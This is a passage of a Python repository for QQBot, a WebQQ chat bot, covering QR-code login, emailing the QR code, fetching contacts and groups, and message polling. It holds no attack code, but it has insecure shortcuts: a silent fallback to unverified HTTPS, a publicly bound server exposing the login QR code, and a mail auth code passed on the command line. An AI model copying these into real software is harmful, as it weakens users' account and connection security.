| INFO('已在后台运行 fetchForever 方法,每隔 5 分钟获取一次联系人资料') 101 | while True: 102 | time.sleep(300) 103 | try: 104 | contacts = self.fetch() 105 | except QSession.Error: 106 | WARN(' fetchForever 方法出错') 107 | else: 108 | yield Message('fetchcomplete', contacts=contacts) 109 | 110 | def onPollComplete(self, message): 111 | ctype, fromUin, memberUin, content = message.result 112 | 113 | if ctype == 'timeout': 114 | self.Process(Message('polltimeout')) 115 | return 116 | 117 | try: 118 | contact = self.Get(ctype, uin=fromUin)[0] 119 | except IndexError: 120 | contact = QContact(ctype, uin=fromUin, name='NEWBIE', qq='') 121 | 122 | if ctype == 'buddy': 123 | memberName = '' 124 | INFO('来自 %s 的消息: "%s"' % (str(contact), content)) 125 | else: 126 | memberName = contact.members.get(memberUin, 'NEWBIE') 127 | INFO('来自 %s[成员“%s”] 的消息: "%s"' % \ 128 | (str(contact), memberName, content)) 129 | 130 | self.Process(QQMessage( 131 | contact, memberUin, memberName, content, self.SendTo 132 | )) 133 | 134 | def onFetchComplete(self, message): 135 | self.assignContacts(message.contacts) 136 | 137 | def onStop(self, code): 138 | if code == 0: 139 | INFO('QQBot 正常停止') 140 | else: 141 | INFO('QQBOT 异常停止') 142 | 143 | class QQMessage(Message): 144 | mtype = 'qqmessage' 145 | 146 | def __init__(self, contact, memberUin, memberName, content, sendTo): 147 | self.contact = contact 148 | self.memberUin = memberUin 149 | self.memberName = memberName 150 | self.content = content 151 | self.sendTo = sendTo 152 | 153 | def Reply(self, reply): 154 | if reply: 155 | time.sleep(random.randint(1, 4)) 156 | self.sendTo(self.contact, reply) 157 | 158 | class BasicAI: 159 | def __init__(self): 160 | self.cmdFuncs = {} 161 | self.docs = [] 162 | 163 | for k in dir(self): 164 | if k.startswith('cmd_'): 165 | func = getattr(self, k) 166 | self.cmdFuncs[k[4:]] = func 167 | self.docs.append(func.__doc__) 168 | self.docs.sort() 169 | 170 | self.termUsage = '欢迎使用 QQBot ,使用方法:' 171 | self.qqUsage = self.termUsage 172 | for doc in self.docs: 173 | self.termUsage += '\n ' + doc[2:] 174 | self.qqUsage += '\n -' + doc[2:] 175 | self.termUsage += '\n quit' 176 | 177 | def OnPollTimeout(self, bot, msg): 178 | pass 179 | 180 | def OnQQMessage(self, bot, msg): 181 | if msg.contact.ctype == 'buddy' and msg.content == 'qqbot --version': 182 | msg.Reply('QQbot-' + bot.conf.version) 183 | 184 | # 去掉通过 qq 消息来操作 QQBot 的方式 185 | # if msg.content.strip().startswith('-'): 186 | # msg.content = msg.content.strip()[1:] 187 | # msg.Reply(self.execute(bot, msg)) 188 | 189 | def OnTermMessage(self, bot, msg): 190 | msg.Reply(self.execute(bot, msg)) 191 | 192 | def execute(self, bot, msg): 193 | argv = msg.content.strip().split() 194 | if argv and argv[0]: 195 | f = self.cmdFuncs.get(argv[0], None) 196 | return f and f(argv[1:], msg, bot) 197 | 198 | def cmd_help(self, args, msg, bot): 199 | '''1 help''' 200 | if len(args) == 0: 201 | return (msg.mtype=='qqmessage' and self.qqUsage or self.termUsage) 202 | 203 | def cmd_list(self, args, msg, bot): 204 | '''2 list buddy|group|discuss''' 205 | if len(args) == 1: 206 | return '\n'.join(map(repr, bot.List(args[0]))) 207 | 208 | def cmd_send(self, args, msg, bot): 209 | '''3 send buddy|group|discuss x|uin=x|qq=x|name=x message''' 210 | if len(args) >= 3: 211 | return '\n'.join(bot.Send(args[0], args[1], ' '.join(args[2:]))) 212 | 213 | def cmd_get(self, args, msg, bot): 214 | '''4 get buddy|group|discuss x|uin=x|qq=x|name=x''' 215 | if len(args) == 2: 216 | return '\n'.join(map(repr, bot.Get(args[0], args[1]))) 217 | 218 | def cmd_member(self, args, msg, bot): 219 | '''5 member group|discuss x|uin=x|qq=x|name=x''' 220 | if len(args) == 2 and args[0] in ('group', 'discuss'): 221 | result = [] 222 | for contact in bot.Get(args[0], args[1]): 223 | result.append(repr(contact)) 224 | for name, uin in contact.members.items(): 225 | result.append('\t成员:%s,uin=%s' % (name, uin)) 226 | return '\n'.join(result) 227 | 228 | def cmd_stop(self, args, msg, bot): 229 | '''6 stop''' 230 | if len(args) == 0: 231 | INFO('收到 stop 命令,QQBot 即将停止') 232 | msg.Reply('QQBot已停止') 233 | bot.Stop() 234 | 235 | def Main(): 236 | try: 237 | if sys.argv[-1] == '--subprocessCall': 238 | isSubprocessCall = True 239 | sys.argv.pop() 240 | else: 241 | isSubprocessCall = False 242 | 243 | conf = QConf() 244 | if not conf.restartOnOffline or isSubprocessCall: 245 | bot = QQBot(conf=conf) 246 | bot.Login() 247 | sys.exit(bot.Run()) 248 | else: 249 | args = ['python', __file__] + sys.argv[1:] + \ 250 | ['--mailAuthCode', conf.mailAuthCode, '--subprocessCall'] 251 | while subprocess.call(args) != 0: 252 | INFO('重新启动 QQBot ') 253 | except KeyboardInterrupt: 254 | sys.exit(0) 255 | 256 | if __name__ == '__main__': 257 | Main() 258 | -------------------------------------------------------------------------------- /qqbot/qqbot.pyc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/MiniSafe/Hobot/bc8aaf015022e238346282fce4f9c93868ae4cb1/qqbot/qqbot.pyc -------------------------------------------------------------------------------- /qqbot/qrcodemanager.py: -------------------------------------------------------------------------------- 1 | # -*- coding: utf-8 -*- 2 | 3 | import os, platform, uuid, subprocess, time 4 | 5 | from utf8logger import WARN, INFO, DEBUG 6 | from common import StartThread, LockedValue 7 | from qrcodeserver import QrcodeServer 8 | from mailagent import MailAgent 9 | 10 | class QrcodeManager: 11 | def __init__(self, conf): 12 | qrcodeId = uuid.uuid4().hex 13 | self.qrcodePath = conf.QrcodePath(qrcodeId) 14 | if conf.httpServerIP: 15 | self.qrcodeServer = QrcodeServer( 16 | conf.httpServerIP, 17 | conf.httpServerPort, 18 | os.path.dirname(self.qrcodePath) 19 | ) 20 | self.qrcodeURL = self.qrcodeServer.qrcodeURL 21 | else: 22 | self.qrcodeServer = None 23 | 24 | if conf.mailAccount: 25 | self.mailAgent = MailAgent( 26 | conf.mailAccount, conf.mailAuthCode, name='QQBot管理员' 27 | ) 28 | 29 | if self.qrcodeServer: 30 | html = ('

    您的 QQBot 正在登录,请尽快用手机 QQ 扫描下面的二维码。' 31 | '若二维码已过期,请重新打开本邮件。若您看不到二维码图片,请确保' 32 | '图片地址 {0} 可以通过公网访问。

    ' 33 | '

    ').format(self.qrcodeURL) 34 | else: 35 | html = ('

    您的 QQBot 正在登录,请尽快用手机 QQ 扫描下面的二维码。' 36 | '若二维码已过期,请将本邮件删除,删除后 QQBot 会在1~3分钟内' 37 | '将最新的二维码发送到本邮箱。

    ' 38 | '

    {{png}}

    ') 39 | 40 | self.qrcodeMail = { 41 | 'to_addr': conf.mailAccount, 42 | 'html': html, 43 | 'subject': ('%s[%s]' % ('QQBot二维码', qrcodeId)), 44 | 'to_name': '我' 45 | } 46 | 47 | self.qrcode = LockedValue(None) 48 | 49 | else: 50 | self.mailAgent = None 51 | 52 | def Show(self, qrcode): 53 | with open(self.qrcodePath, 'wb') as f: 54 | f.write(qrcode) 55 | 56 | try: 57 | showImage(self.qrcodePath) 58 | except Exception as e: 59 | WARN('无法弹出二维码图片 file://%s 。%s', self.qrcodePath, e) 60 | 61 | if self.qrcodeServer: 62 | INFO('请使用浏览器访问二维码,图片地址: %s', self.qrcodeURL) 63 | 64 | if self.mailAgent: 65 | if self.qrcode.getVal() is None: 66 | self.qrcode.setVal(qrcode) 67 | # first show, start a thread to send emails 68 | StartThread(self.sendEmail, daemon=True) 69 | else: 70 | self.qrcode.setVal(qrcode) 71 | 72 | def sendEmail(self): 73 | lastSubject = '' 74 | while True: 75 | qrcode = self.qrcode.getVal() 76 | 77 | if qrcode is None: 78 | break 79 | 80 | if lastSubject != self.qrcodeMail['subject']: 81 | qrcode = '' if self.qrcodeServer else qrcode 82 | try: 83 | with self.mailAgent.SMTP() as smtp: 84 | smtp.send(png_content=qrcode, **self.qrcodeMail) 85 | except Exception as e: 86 | WARN('无法将二维码发送至邮箱%s %s', self.mailAgent.account, e) 87 | else: 88 | INFO('已将二维码发送至邮箱%s', self.mailAgent.account) 89 | if self.qrcodeServer: 90 | break 91 | else: 92 | lastSubject = self.qrcodeMail['subject'] 93 | else: 94 | try: 95 | DEBUG('开始查询邮箱 %s 中的最近的邮件', self.mailAgent.account) 96 | with self.mailAgent.IMAP() as imap: 97 | lastSubject = imap.getSubject(-1) 98 | except Exception as e: 99 | WARN('查询邮箱 %s 中的邮件失败 %s', self.mailAgent.account, e) 100 | else: 101 | DEBUG('最近的邮件: %s', lastSubject) 102 | 103 | time.sleep(20) 104 | 105 | def Destroy(self): 106 | if self.mailAgent: 107 | self.qrcode.setVal(None) 108 | 109 | try: 110 | os.remove(self.qrcodePath) 111 | except OSError: 112 | pass 113 | 114 | # FILENAME must be an utf8 encoding string 115 | def showImage(filename): 116 | osName = platform.system() 117 | if osName == 'Windows': 118 | filename = filename.decode('utf8').encode('cp936') 119 | retcode = subprocess.call([filename], shell=True) 120 | elif osName == 'Linux': 121 | retcode = subprocess.call(['gvfs-open', filename]) 122 | elif osName == 'Darwin': # by @Naville 123 | retcode = subprocess.call(['open', filename]) 124 | else: 125 | retcode = 1 126 | if retcode: 127 | raise 128 | 129 | if __name__ == '__main__': 130 | from qconf import QConf 131 | 132 | # 需要先在 ~/.qqbot-tmp/v2.x.conf 文件中设置好邮箱帐号和授权码 133 | conf = QConf(user='eva') 134 | conf.Display() 135 | 136 | qrm = QrcodeManager(conf) 137 | with open('tmp.png', 'rb') as f: 138 | qrcode = f.read() 139 | qrm.Show(qrcode) 140 | time.sleep(60) 141 | qrm.Show(qrcode) 142 | qrm.Destroy() 143 | 144 | time.sleep(60) 145 | -------------------------------------------------------------------------------- /qqbot/qrcodemanager.pyc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/MiniSafe/Hobot/bc8aaf015022e238346282fce4f9c93868ae4cb1/qqbot/qrcodemanager.pyc -------------------------------------------------------------------------------- /qqbot/qrcodeserver.py: -------------------------------------------------------------------------------- 1 | # -*- coding: utf-8 -*- 2 | 3 | # by @yxwzaxns, @pandolia 4 | 5 | import os, flask, time, logging 6 | 7 | from common import StartThread 8 | from utf8logger import INFO 9 | 10 | class QrcodeServer: 11 | def __init__(self, ip, port, tmpDir): 12 | self.ip = ip 13 | self.port = int(port) 14 | self.tmpDir = os.path.abspath(tmpDir) 15 | self.qrcodeURL = 'http://%s:%s/qqbot/qrcode' % (ip, port) 16 | 17 | StartThread(self.run, daemon=True) 18 | time.sleep(0.5) 19 | INFO('二维码 HTTP 服务器已在子线程中开启') 20 | 21 | def run(self): 22 | # no-flask-info 23 | logging.getLogger('werkzeug').setLevel(logging.ERROR) 24 | 25 | app = flask.Flask(__name__) 26 | app.route('/qqbot/qrcode')(self.route_qrcode) 27 | app.run(host='0.0.0.0', port=self.port, debug=False) 28 | 29 | def route_qrcode(self): 30 | last, lastfile = 0, '' 31 | for f in os.listdir(self.tmpDir): 32 | if f.endswith('.png'): 33 | p = os.path.join(self.tmpDir, f) 34 | cur = os.path.getmtime(p) 35 | if cur > last: 36 | last = cur 37 | lastfile = p 38 | 39 | if lastfile: 40 | return flask.send_file(lastfile, mimetype='image/png') 41 | else: 42 | flask.abort(404) 43 | 44 | if __name__ == '__main__': 45 | QrcodeServer('127.0.0.1', 8189, '.') 46 | while True: 47 | time.sleep(100) 48 | -------------------------------------------------------------------------------- /qqbot/qrcodeserver.pyc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/MiniSafe/Hobot/bc8aaf015022e238346282fce4f9c93868ae4cb1/qqbot/qrcodeserver.pyc -------------------------------------------------------------------------------- /qqbot/qsession.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/python 2 | # -*- coding: utf-8 -*- 3 | 4 | import sys, random, pickle, time, requests 5 | from collections import defaultdict 6 | 7 | from qconf import QConf 8 | from qrcodemanager import QrcodeManager 9 | from qcontacts import QContacts 10 | from common import JsonLoads, JsonDumps 11 | from utf8logger import CRITICAL, WARN, INFO, DEBUG, DisableLog, EnableLog 12 | 13 | def QLogin(qq=None, user=None, conf=None): 14 | if conf is None: 15 | conf = QConf(qq, user) 16 | 17 | if conf.qq: 18 | INFO('开始自动登录...') 19 | picklePath = conf.PicklePath() 20 | try: 21 | with open(picklePath, 'rb') as f: 22 | session, contacts = pickle.load(f) 23 | except Exception as e: 24 | WARN('自动登录失败,原因:%s', e) 25 | else: 26 | INFO('成功从文件 "%s" 中恢复登录信息和联系人' % picklePath) 27 | try: 28 | session.TestLogin() 29 | except QSession.Error: 30 | WARN('自动登录失败,原因:上次保存的登录信息已过期') 31 | else: 32 | INFO('登录成功。登录账号:%s(%s)', session.nick, session.qq) 33 | return session, contacts 34 | 35 | INFO('开始手动登录...') 36 | session = QSession() 37 | contacts = session.Login(conf) 38 | INFO('登录成功。登录账号:%s(%s)', session.nick, session.qq) 39 | 40 | conf.qq = session.qq 41 | picklePath = conf.PicklePath() 42 | try: 43 | with open(picklePath, 'wb') as f: 44 | pickle.dump((session, contacts), f) 45 | except IOError: 46 | WARN('保存登录信息及联系人失败:IOError %s', picklePath) 47 | else: 48 | INFO('登录信息及联系人已保存至文件:file://%s' % picklePath) 49 | 50 | return session, contacts 51 | 52 | class QSession: 53 | 54 | class Error(SystemExit): 55 | def __init__(self): 56 | SystemExit.__init__(self, 1) 57 | 58 | def Login(self, conf): 59 | self.prepareSession() 60 | self.waitForAuth(conf) 61 | self.getPtwebqq() 62 | self.getVfwebqq() 63 | self.getUinAndPsessionid() 64 | self.TestLogin() 65 | return self.Fetch(silence=False) 66 | 67 | def prepareSession(self): 68 | self.clientid = 53999199 69 | self.msgId = 6000000 70 | self.httpsVerify = True 71 | self.session = requests.Session() 72 | self.session.headers.update({ 73 | 'User-Agent': ('Mozilla/5.0 (Macintosh; Intel Mac OS X 10.9;' 74 | ' rv:27.0) Gecko/20100101 Firefox/27.0'), 75 | 'Content-Type': 'application/x-www-form-urlencoded; charset=UTF-8' 76 | }) 77 | self.urlGet( 78 | 'https://ui.ptlogin2.qq.com/cgi-bin/login?daid=164&target=self&' 79 | 'style=16&mibao_css=m_webqq&appid=501004106&enable_qlogin=0&' 80 | 'no_verifyimg=1&s_url=http%3A%2F%2Fw.qq.com%2Fproxy.html&' 81 | 'f_url=loginerroralert&strong_login=1&login_state=10&t=20131024001' 82 | ) 83 | self.session.cookies.update({ 84 | 'RK': 'OfeLBai4FB', 85 | 'pgv_pvi': '911366144', 86 | 'pgv_info': 'ssid pgv_pvid=1051433466', 87 | 'ptcz': ('ad3bf14f9da2738e09e498bfeb93dd9da7' 88 | '540dea2b7a71acfb97ed4d3da4e277'), 89 | 'qrsig': ('hJ9GvNx*oIvLjP5I5dQ19KPa3zwxNI' 90 | '62eALLO*g2JLbKPYsZIRsnbJIxNe74NzQQ') 91 | }) 92 | self.getAuthStatus() 93 | self.session.cookies.pop('qrsig') 94 | 95 | def Copy(self): 96 | c = QSession() 97 | c.__dict__.update(self.__dict__) 98 | c.session = pickle.loads(pickle.dumps(c.session)) 99 | return c 100 | 101 | def getQrcode(self): 102 | INFO('登录 Step1 - 获取二维码') 103 | return self.urlGet( 104 | 'https://ssl.ptlogin2.qq.com/ptqrshow?appid=501004106&e=0&l=M&' + 105 | 's=5&d=72&v=4&t=' + repr(random.random()) 106 | ) 107 | 108 | def waitForAuth(self, conf): 109 | qrcodeManager = QrcodeManager(conf) 110 | try: 111 | qrcodeManager.Show(self.getQrcode()) 112 | while True: 113 | time.sleep(3) 114 | authStatus = self.getAuthStatus() 115 | if '二维码未失效' in authStatus: 116 | INFO('登录 Step2 - 等待二维码扫描及授权') 117 | elif '二维码认证中' in authStatus: 118 | INFO('二维码已扫描,等待授权') 119 | elif '二维码已失效' in authStatus: 120 | WARN('二维码已失效, 重新获取二维码') 121 | qrcodeManager.Show(self.getQrcode()) 122 | elif '登录成功' in authStatus: 123 | INFO('已获授权') 124 | items = authStatus.split(',') 125 | self.nick = str(items[-1].split("'")[1]) 126 | self.qq = str(int(self.session.cookies['superuin'][1:])) 127 | self.urlPtwebqq = items[2].strip().strip("'") 128 | break 129 | else: 130 | CRITICAL('获取二维码扫描状态时出错, html="%s"', authStatus) 131 | sys.exit(1) 132 | finally: 133 | qrcodeManager.Destroy() 134 | 135 | def getAuthStatus(self): 136 | # by @zofuthan 137 | return self.urlGet( 138 | url='https://ssl.ptlogin2.qq.com/ptqrlogin?ptqrtoken=' + 139 | str(bknHash(self.session.cookies['qrsig'], init_str=0)) + 140 | '&webqq_type=10&remember_uin=1&login2qq=1&aid=501004106' + 141 | '&u1=http%3A%2F%2Fw.qq.com%2Fproxy.html%3Flogin2qq%3D1%26' + 142 | 'webqq_type%3D10&ptredirect=0&ptlang=2052&daid=164&' + 143 | 'from_ui=1&pttype=1&dumy=&fp=loginerroralert&action=0-0-' + 144 | repr(random.random() * 900000 + 1000000) + 145 | '&mibao_css=m_webqq&t=undefined&g=1&js_type=0' + 146 | '&js_ver=10141&login_sig=&pt_randsalt=0', 147 | Referer=('https://ui.ptlogin2.qq.com/cgi-bin/login?daid=164&' 148 | 'target=self&style=16&mibao_css=m_webqq&appid=501004106&' 149 | 'enable_qlogin=0&no_verifyimg=1&s_url=http%3A%2F%2F' 150 | 'w.qq.com%2Fproxy.html&f_url=loginerroralert&' 151 | 'strong_login=1&login_state=10&t=20131024001') 152 | ) 153 | 154 | def getPtwebqq(self): 155 | INFO('登录 Step3 - 获取ptwebqq') 156 | self.urlGet(self.urlPtwebqq) 157 | self.ptwebqq = self.session.cookies['ptwebqq'] 158 | 159 | def getVfwebqq(self): 160 | INFO('登录 Step4 - 获取vfwebqq') 161 | self.vfwebqq = self.smartRequest( 162 | url = ('http://s.web2.qq.com/api/getvfwebqq?ptwebqq=%s&' 163 | 'clientid=%s&psessionid=&t={rand}') % 164 | (self.ptwebqq, self.clientid), 165 | Referer = ('http://s.web2.qq.com/proxy.html?v=20130916001' 166 | '&callback=1&id=1'), 167 | Origin = 'http://s.web2.qq.com' 168 | )['vfwebqq'] 169 | 170 | def getUinAndPsessionid(self): 171 | INFO('登录 Step5 - 获取uin和psessionid') 172 | result = self.smartRequest( 173 | url = 'http://d1.web2.qq.com/channel/login2', 174 | data = { 175 | 'r': JsonDumps({ 176 | 'ptwebqq': self.ptwebqq, 'clientid': self.clientid, 177 | 'psessionid': '', 'status': 'online' 178 | }) 179 | }, 180 | Referer = ('http://d1.web2.qq.com/proxy.html?v=20151105001' 181 | '&callback=1&id=2'), 182 | Origin = 'http://d1.web2.qq.com' 183 | ) 184 | self.uin = result['uin'] 185 | self.psessionid = result['psessionid'] 186 | self.hash = qHash(self.uin, self.ptwebqq) 187 | self.bkn = bknHash(self.session.cookies['skey']) 188 | 189 | def TestLogin(self): 190 | try: 191 | DisableLog() 192 | # 请求一下 get_online_buddies 页面,避免103错误。 193 | # 若请求无错误发生,则表明登录成功 194 | self.smartRequest( 195 | url = ('http://d1.web2.qq.com/channel/get_online_buddies2?' 196 | 'vfwebqq=%s&clientid=%d&psessionid=%s&t={rand}') % 197 | (self.vfwebqq, self.clientid, self.psessionid), 198 | Referer = ('http://d1.web2.qq.com/proxy.html?v=20151105001&' 199 | 'callback=1&id=2'), 200 | Origin = 'http://d1.web2.qq.com', 201 | repeateOnDeny = 0 202 | ) 203 | finally: 204 | EnableLog() 205 | 206 | def Fetch(self, silence=True): 207 | contacts = QContacts() 208 | self.fetchBuddies(contacts, silence) 209 | self.fetchGroups(contacts, silence) 210 | self.fetchDiscusses(contacts, silence) 211 | return contacts 212 | 213 | def fetchBuddies(self, contacts, silence=True): 214 | if not silence: 215 | INFO('登录 Step6 - 获取好友列表') 216 | 217 | result = self.smartRequest( 218 | url = 'http://s.web2.qq.com/api/get_user_friends2', 219 | data = { 220 | 'r': JsonDumps({'vfwebqq':self.vfwebqq, 'hash':self.hash}) 221 | }, 222 | Referer = ('http://d1.web2.qq.com/proxy.html?v=20151105001&' 223 | 'callback=1&id=2') 224 | ) 225 | 226 | markDict = dict((d['uin'],d['markname']) for d in result['marknames']) 227 | 228 | qqResult = self.smartRequest( 229 | url = 'http://qun.qq.com/cgi-bin/qun_mgr/get_friend_list', 230 | data = {'bkn': self.bkn}, 231 | Referer = 'http://qun.qq.com/member.html' 232 | ) 233 | qqDict = defaultdict(list) 234 | for blist in qqResult.values(): 235 | for d in blist.get('mems', []): 236 | name = d['name'].replace(' ', ' ').replace('&', '&') 237 | qqDict[name].append(d['uin']) 238 | 239 | for info in result['info']: 240 | uin = info['uin'] 241 | nick = info['nick'] 242 | mark = markDict.get(uin, '') 243 | name = mark or nick 244 | qqlist = qqDict.get(name, []) 245 | if len(qqlist) == 1: 246 | qq = qqlist.pop() 247 | else: 248 | qq = self.fetchBuddyQQ(uin) 249 | try: 250 | qqlist.remove(qq) 251 | except ValueError: 252 | pass 253 | 254 | contact = contacts.Add( 255 | 'buddy', str(uin), name, str(qq), nick, mark 256 | ) 257 | 258 | if not silence: 259 | INFO(repr(contact)) 260 | 261 | if not silence: 262 | INFO('获取朋友列表成功,共 %d 个朋友' % len(result['info'])) 263 | 264 | def fetchBuddyQQ(self, uin): 265 | return self.smartRequest( 266 | url = ('http://s.web2.qq.com/api/get_friend_uin2?tuin=%s&' 267 | 'type=1&vfwebqq=%s&t={rand}') % (uin, self.vfwebqq), 268 | Referer = ('http://d1.web2.qq.com/proxy.html?v=20151105001&' 269 | 'callback=1&id=2'), 270 | timeoutRetVal = {'account': ''} 271 | )['account'] 272 | 273 | # def fetchBuddyDetailInfo(self, uin): 274 | # return self.smartRequest( 275 | # url = ('http://s.web2.qq.com/api/get_friend_info2?tuin=%s&' 276 | # 'vfwebqq=%s&clientid=%s&psessionid=%s&t={rand}') % \ 277 | # (uin, self.vfwebqq, self.clientid, self.psessionid), 278 | # Referer = ('http://s.web2.qq.com/proxy.html?v=20130916001&' 279 | # 'callback=1&id=1') 280 | # ) 281 | 282 | def fetchGroups(self, contacts, silence=True): 283 | if not silence: 284 | INFO('登录 Step7 - 获取群列表') 285 | INFO('=' * 60) 286 | 287 | result = self.smartRequest( 288 | url = 'http://s.web2.qq.com/api/get_group_name_list_mask2', 289 | data = { 290 | 'r': JsonDumps({'vfwebqq':self.vfwebqq, 'hash':self.hash}) 291 | }, 292 | Referer = ('http://d1.web2.qq.com/proxy.html?v=20151105001&' 293 | 'callback=1&id=2') 294 | ) 295 | 296 | markDict = dict((d['uin'],d['markname']) for d in result['gmarklist']) 297 | 298 | qqResult = self.smartRequest( 299 | url = 'http://qun.qq.com/cgi-bin/qun_mgr/get_group_list', 300 | data = {'bkn': self.bkn}, 301 | Referer = 'http://qun.qq.com/member.html' 302 | ) 303 | 304 | qqDict = defaultdict(list) 305 | for k in ('create', 'manage', 'join'): 306 | for d in qqResult.get(k, []): 307 | name = d['gn'].replace(' ', ' ').replace('&', '&') 308 | qqDict[name].append(d['gc']) 309 | 310 | for info in result['gnamelist']: 311 | uin = info['gid'] 312 | name = info['name'] 313 | mark = markDict.get(uin, '') 314 | 315 | qqlist = qqDict.get(name, []) 316 | if len(qqlist) == 1: 317 | qq = qqlist.pop() 318 | else: 319 | qq = self.fetchGroupQQ(uin) 320 | for x in qqlist: 321 | if (qq - x) % 1000000 == 0: 322 | qq = x 323 | break 324 | try: 325 | qqlist.remove(qq) 326 | except ValueError: 327 | pass 328 | 329 | members = self.fetchGroupMember(info['code']) 330 | 331 | c = contacts.Add( 332 | 'group', str(uin), name, str(qq), '', mark, members 333 | ) 334 | 335 | if not silence: 336 | INFO(repr(c)) 337 | for uin, name in members.items(): 338 | INFO(' 成员: %s, uin%s', name, uin) 339 | INFO('=' * 60) 340 | 341 | if not silence: 342 | INFO('获取群列表成功,共 %d 个群' % len(result)) 343 | 344 | def fetchGroupQQ(self, uin): 345 | return self.smartRequest( 346 | url = ('http://s.web2.qq.com/api/get_friend_uin2?tuin=%s&' 347 | 'type=4&vfwebqq=%s&t={rand}') % (uin, self.vfwebqq), 348 | Referer = ('http://d1.web2.qq.com/proxy.html?v=20151105001&' 349 | 'callback=1&id=2'), 350 | timeoutRetVal = {'account': ''} 351 | )['account'] 352 | 353 | def fetchGroupMember(self, gcode): 354 | ret = self.smartRequest( 355 | url = ('http://s.web2.qq.com/api/get_group_info_ext2?gcode=%s' 356 | '&vfwebqq=%s&t={rand}') % (gcode, self.vfwebqq), 357 | Referer = ('http://s.web2.qq.com/proxy.html?v=20130916001' 358 | '&callback=1&id=1') 359 | ) 360 | return dict((str(m['muin']), str(inf['nick'])) 361 | for m, inf in zip(ret['ginfo']['members'], ret['minfo'])) 362 | 363 | def fetchDiscusses(self, contacts, silence=True): 364 | if not silence: 365 | INFO('登录 Step8 - 获取讨论组列表') 366 | INFO('=' * 60) 367 | 368 | result = self.smartRequest( 369 | url = ('http://s.web2.qq.com/api/get_discus_list?clientid=%s&' 370 | 'psessionid=%s&vfwebqq=%s&t={rand}') % 371 | (self.clientid, self.psessionid, self.vfwebqq), 372 | Referer = ('http://d1.web2.qq.com/proxy.html?v=20151105001' 373 | '&callback=1&id=2') 374 | )['dnamelist'] 375 | 376 | for info in result: 377 | uin = str(info['did']) 378 | name = str(info['name']) 379 | members = self.fetchDiscussMember(uin) 380 | 381 | c = contacts.Add('discuss', uin, name, members=members) 382 | 383 | if not silence: 384 | INFO(repr(c)) 385 | for uin, name in members.items(): 386 | INFO(' 成员: %s, uin%s', name, uin) 387 | INFO('=' * 60) 388 | 389 | if not silence: 390 | INFO('获取讨论组列表成功,共 %d 个讨论组', len(result)) 391 | 392 | def fetchDiscussMember(self, uin): 393 | ret = self.smartRequest( 394 | url = ('http://d1.web2.qq.com/channel/get_discu_info?' 395 | 'did=%s&psessionid=%s&vfwebqq=%s&clientid=%s&t={rand}') % 396 | (uin, self.psessionid, self.vfwebqq, self.clientid), 397 | Referer = ('http://d1.web2.qq.com/proxy.html?v=20151105001' 398 | '&callback=1&id=2') 399 | ) 400 | return dict((str(m['uin']), str(m['nick'])) for m in ret['mem_info']) 401 | 402 | def Poll(self): 403 | result = self.smartRequest( 404 | url = 'https://d1.web2.qq.com/channel/poll2', 405 | data = { 406 | 'r': JsonDumps({ 407 | 'ptwebqq':self.ptwebqq, 'clientid':self.clientid, 408 | 'psessionid':self.psessionid, 'key':'' 409 | }) 410 | }, 411 | Referer = ('http://d1.web2.qq.com/proxy.html?v=20151105001&' 412 | 'callback=1&id=2') 413 | ) 414 | 415 | if not result or 'errmsg' in result: 416 | return 'timeout', '', '', '' 417 | else: 418 | result = result[0] 419 | ctype = { 420 | 'message': 'buddy', 421 | 'group_message': 'group', 422 | 'discu_message': 'discuss' 423 | }[result['poll_type']] 424 | fromUin = str(result['value']['from_uin']) 425 | memberUin = str(result['value'].get('send_uin', '')) 426 | content = ''.join( 427 | ('[face%d]' % m[1]) if isinstance(m, list) else str(m) 428 | for m in result['value']['content'][1:] 429 | ) 430 | return ctype, fromUin, memberUin, content 431 | 432 | def Send(self, ctype, uin, content): 433 | self.msgId += 1 434 | sendUrl = { 435 | 'buddy': 'http://d1.web2.qq.com/channel/send_buddy_msg2', 436 | 'group': 'http://d1.web2.qq.com/channel/send_qun_msg2', 437 | 'discuss': 'http://d1.web2.qq.com/channel/send_discu_msg2' 438 | } 439 | sendTag = {'buddy':'to', 'group':'group_uin', 'discuss':'did'} 440 | self.smartRequest( 441 | url = sendUrl[ctype], 442 | data = { 443 | 'r': JsonDumps({ 444 | sendTag[ctype]: int(uin), 445 | 'content': JsonDumps([ 446 | content, 447 | ['font', {'name': '宋体', 'size': 10, 448 | 'style': [0,0,0], 'color': '000000'}] 449 | ]), 450 | 'face': 522, 451 | 'clientid': self.clientid, 452 | 'msg_id': self.msgId, 453 | 'psessionid': self.psessionid 454 | }) 455 | }, 456 | Referer = ('http://d1.web2.qq.com/proxy.html?v=20151105001&' 457 | 'callback=1&id=2') 458 | ) 459 | if self.msgId % 10 == 0: 460 | INFO('已连续发送10条消息,强制 sleep 10秒,请等待...') 461 | time.sleep(10) 462 | else: 463 | time.sleep(random.randint(1, 3)) 464 | 465 | def urlGet(self, url, **kw): 466 | time.sleep(0.2) 467 | self.session.headers.update(kw) 468 | if self.httpsVerify: 469 | try: 470 | return self.session.get(url, verify=True).content 471 | except (requests.exceptions.SSLError, AttributeError): 472 | self.httpsVerify = False 473 | 474 | # by @staugur 475 | return self.session.get(url, verify=False).content 476 | 477 | def smartRequest(self, url, data=None, 478 | timeoutRetVal=None, repeateOnDeny=2, **kw): 479 | nCE, nTO, nUE, nDE = 0, 0, 0, 0 480 | while True: 481 | url = url.format(rand=repr(random.random())) 482 | html = '' 483 | errorInfo = '' 484 | self.session.headers.update(**kw) 485 | try: 486 | if data is None: 487 | resp = self.session.get(url, verify=self.httpsVerify) 488 | else: 489 | resp = self.session.post(url, data=data, 490 | verify=self.httpsVerify) 491 | except requests.ConnectionError as e: 492 | nCE += 1 493 | errorInfo = '网络错误 %s' % e 494 | else: 495 | html = resp.content 496 | if resp.status_code in (502, 504, 404): 497 | self.session.get( 498 | ('http://pinghot.qq.com/pingd?dm=w.qq.com.hot&' 499 | 'url=/&hottag=smartqq.im.polltimeout&hotx=9999&' 500 | 'hoty=9999&rand=%s') % random.randint(10000, 99999) 501 | ) 502 | if url == 'https://d1.web2.qq.com/channel/poll2': 503 | return {'errmsg': ''} 504 | nTO += 1 505 | errorInfo = '超时' 506 | else: 507 | try: 508 | result = JsonLoads(html) 509 | except ValueError: 510 | nUE += 1 511 | errorInfo = ' URL 地址错误' 512 | else: 513 | retcode = result.get('retcode', 514 | result.get('errCode', 515 | result.get('ec', -1))) 516 | if retcode in (0, 1202, 100003, 100100): 517 | return 